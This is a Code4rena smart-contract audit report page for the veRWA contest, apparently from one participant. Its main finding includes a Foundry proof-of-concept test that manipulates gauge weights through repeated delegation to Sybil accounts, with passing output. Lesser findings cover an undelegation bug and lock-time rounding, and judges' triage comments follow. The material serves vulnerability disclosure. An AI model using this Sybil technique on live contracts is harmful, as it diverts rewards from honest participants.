Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 35/125
Findings: 3
Award: $78.43
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211
Attackers can maliciously increase a specific market's weight by delegating/undelegating power to multiple accounts (Sybil) and calling vote_for_gauge_weights(), making it get more rewards and other markets loss rewards.
In vote_for_gauge_weights(), we use the user's last voting power point to calculate slope, points_weight, points_sum, etc. So attackers can keep delegating/undelegating their power to different accounts (Sybil), and when a sybil receives delegated power, it votes for a market.
Below is a PoC where userA is the attacker and it wants to increase gauge1's relative weight. At first, UserA has 2 ether CANTO locked, and UserD has 4 ether CANTO. UserD will vote for gauge2 so in normal case, guage2 will get the most weight. However, by leveraging the sybil (userB and userC) attack, userA makes gauge2's relative weight below 50%.
// src/test/GaugeController.t.sol // stack too deep address internal userA; address internal userB; address internal userC; address internal userD; function testGaugeDelegatingSybilAttack() public { vm.startPrank(gov); gc.add_gauge(gauge1); gc.add_gauge(gauge2); vm.stopPrank(); skip(WEEK + 1); address payable[] memory usersZ = utils.createUsers(4); (userA, userB, userC, userD) = (usersZ[0], usersZ[1], usersZ[2], usersZ[3]); // A: 2, D: 4 vm.prank(userA); ve.createLock{value: 2 ether}(2 ether); vm.prank(userD); ve.createLock{value: 4 ether}(4 ether); vm.prank(userA); gc.vote_for_gauge_weights(gauge1, 10000); vm.prank(userD); gc.vote_for_gauge_weights(gauge2, 10000); // --- Sybil Attack: userA delegates to userB and userC, then vote for gauge1 vm.prank(userB); ve.createLock{value: 0.001 ether}(0.001 ether); vm.prank(userC); ve.createLock{value: 0.001 ether}(0.001 ether); vm.prank(userA); ve.delegate(userB); vm.prank(userB); gc.vote_for_gauge_weights(gauge1, 10000); vm.prank(userA); ve.delegate(userC); vm.prank(userC); gc.vote_for_gauge_weights(gauge1, 10000); // --- Attacke End vm.warp(block.timestamp + WEEK); uint256 gauge2_relative_weight = gc.gauge_relative_weight_write(gauge2, block.timestamp) * 100 / 1e18; assert(gauge2_relative_weight < 50); // < 50%, attack success console.log("gauge2_relative_weight = %s", gauge2_relative_weight); // 39% = 4/(4+2*3) }
Output:
qiuhao@HW0018292:~/web3/c4/2023-08-verwa$ forge test -vvv --match-test "testGaugeDelegatingSybilAttack" [⠒] Compiling... [⠢] Compiling 1 files with 0.8.17 [⠆] Solc 0.8.17 finished in 13.04s Compiler run successful! Running 1 test for src/test/GaugeController.t.sol:GaugeControllerTest [PASS] testGaugeDelegatingSybilAttack() (gas: 2614086) Logs: gauge2_relative_weight = 39 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.84ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review.
Governance
#0 - c4-pre-sort
2023-08-11T13:30:25Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:16:59Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:18Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:36:39Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:36:57Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:54:43Z
alcueca marked the issue as satisfactory
🌟 Selected for report: ADM
Also found by: 0xDING99YA, 3docSec, BenRai, Jorgect, Kow, MrPotatoMagic, QiuhaoLi, RandomUser, SpicyMeatball, Tendency, Topmark, Watermelon, Yanchuan, Yuki, bart1e, cducrest, kaden, lsaudit, nemveer, nonseodion
31.6666 USDC - $31.67
https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L373 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L384
User can't undelegate if delegatee.end > user.end, which is the normal case.
In delegate() we ensure toLocked.end >= fromLocked.end so users won't delegate to a lock which will expire before the user's lock. However, when undelegating, fromLocked becomes the delegatee, so toLocked.end >= fromLocked.end check won't pass.
In VotingEscrow.t.sol:testSuccessUnDelegate, we make user1 and user2 locks' end time the same, thus missing the case mentioned above. PoC:
function testSuccessDelegate() public { // successful delegate testSuccessCreateLock(); vm.warp(block.timestamp + WEEK + 1); // <---- delegatee end is bigger vm.prank(user2); ve.createLock{value: LOCK_AMT}(LOCK_AMT); vm.prank(user1); ve.delegate(user2); (, , , address delegatee) = ve.locked(user1); assertEq(delegatee, user2); (, , int128 delegated, ) = ve.locked(user2); assertEq(delegated, 2000000000000000000); }
Output (testSuccessUnDelegate can't pass now):
qiuhao@HW0018292:~/web3/c4/2023-08-verwa$ forge test --match-test "testSuccessDelegate" [⠒] Compiling... No files changed, compilation skipped Running 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest [PASS] testSuccessDelegate() (gas: 907149) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.95ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests) qiuhao@HW0018292:~/web3/c4/2023-08-verwa$ forge test --match-test "testSuccessUnDelegate" [⠒] Compiling... No files changed, compilation skipped ├─ [5698] VotingEscrow::delegate(0x0000000000000000000000000000000000002711) │ └─ ← "Only delegate to longer lock" └─ ← "Only delegate to longer lock"
Manual Review.
Undelegating should be handled separately, allowing users to undelegate without the lock.end check.
Governance
#0 - c4-pre-sort
2023-08-13T05:36:49Z
141345 marked the issue as duplicate of #178
#1 - 141345
2023-08-13T18:03:47Z
can increaseAmount()
, although not a good solution.
This one has pointed out the issue, so combine https://github.com/code-423n4/2023-08-verwa-findings/issues/178
#2 - c4-judge
2023-08-24T07:14:10Z
alcueca marked the issue as duplicate of #82
#3 - c4-judge
2023-08-24T07:20:31Z
alcueca changed the severity to 3 (High Risk)
#4 - c4-judge
2023-08-24T07:20:40Z
alcueca changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-08-24T07:27:20Z
alcueca marked the issue as satisfactory
#6 - c4-judge
2023-08-29T06:37:35Z
alcueca changed the severity to 3 (High Risk)
🌟 Selected for report: RED-LOTUS-REACH
Also found by: 0x3b, 0x4non, 0xCiphky, 0xDING99YA, 0xDetermination, 0xE1, 0xG0P1, 0xStalin, 0xWaitress, 0xbrett8571, 0xhacksmithh, 0xkazim, 0xmuxyz, 0xweb3boy, 14si2o_Flint, AlexCzm, Alhakista, Bube, Bughunter101, Deekshith99, Eeyore, Giorgio, HChang26, InAllHonesty, JP_Courses, KmanOfficial, MatricksDeCoder, Mike_Bello90, MrPotatoMagic, Naubit, QiuhaoLi, RHaO-sec, Raihan, Rolezn, SUPERMAN_I4G, Shubham, Silverskrrrt, Strausses, T1MOH, Topmark, Tripathi, Watermelon, _eperezok, aakansha, auditsea, audityourcontracts, ayden, carlos__alegre, castle_chain, cducrest, ch0bu, d23e, deadrxsezzz, deth, devival, erebus, fatherOfBlocks, halden, hassan-truscova, hpsb, hunter_w3b, imkapadia, immeas, jat, kaden, kaveyjoe, klau5, koxuan, kutugu, ladboy233, lanrebayode77, leasowillow, lsaudit, markus_ether, matrix_0wl, merlin, nemveer, ni8mare, nonseodion, oakcobalt, owadez, p_crypt0, pipidu83, piyushshukla, popular00, ppetrov, rjs, sandy, sl1, supervrijdag, tay054, thekmj, wahedtalash77, windhustler, zhaojie
9.8204 USDC - $9.82
Since there is a leap year every four years, the five years lock time should be 1826 days. In some cases, this can lead to different _floorToWeek() calculated locking time.
src/GaugeController.sol is ported from Curve's GaugeController.vy
, which log the vote event in the vote_for_gauge_weights() but we don't don't do it.
#0 - 141345
2023-08-13T14:20:40Z
#1 - c4-judge
2023-08-22T13:52:30Z
alcueca marked the issue as grade-a